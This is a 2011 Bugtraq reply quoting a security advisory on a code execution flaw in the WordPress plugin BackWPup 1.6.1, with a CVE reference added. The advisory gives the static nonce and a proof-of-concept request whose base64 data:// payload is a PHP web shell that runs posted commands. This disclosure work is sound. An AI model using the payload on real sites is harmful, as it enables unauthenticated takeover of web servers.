Re: Wordpress plugin BackWPup Remote and Local Code Execution- Vulnerability - SOS-11-003

From: Henri Salo <henri@nerv.fi>
To: bugtraq@securityfocus.com
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Subject: Re: Wordpress plugin BackWPup Remote and Local Code Execution- Vulnerability - SOS-11-003
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On Mon, Mar 28, 2011 at 03:15:46PM +1100, Lists wrote:
> Sense of Security - Security Advisory - SOS-11-003
> 
> Release Date.                  28-Mar-2011
> Last Update.                   -
> Vendor Notification Date.      25-Mar-2011
> Product.                       Wordpress Plugin BackWPup
> Platform.                      Independent
> Affected versions.             1.6.1 (verified), possibly others
> Severity Rating.               High
> Impact.                        System Access
> Attack Vector.                 Remote without authentication
> Solution Status.               Upgrade to version 1.7.1
> CVE reference.                 Not yet assigned
> 
> Details.
> A vulnerability has been discovered in the Wordpress plugin BackWPup
> 1.6.1 which can be exploited to execute local or remote code on the
> web server. The Input passed to the component "wp_xml_export.php"
> via the "wpabs" variable allows the inclusion and execution of local
> or remote PHP files as long as a "_nonce" value is known. The
> "_nonce" value relies on a static constant which is not defined in
> the script meaning that it defaults to the value "822728c8d9".
> 
> Proof of Concept.
> wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
> vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX
> Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0
> ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
> sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d
> 
> Solution.
> Upgrade to version 1.7.1
> 
> Discovered by.
> Phil Taylor - Sense of Security Labs.
> 
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> 
> The latest version of this advisory can be found at:
> http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf
> 
> Other Sense of Security advisories can be found at:
> http://www.senseofsecurity.com.au/research/it-security-advisories.php

http://osvdb.org/show/osvdb/71481
CVE-2011-4342

- Henri Salo





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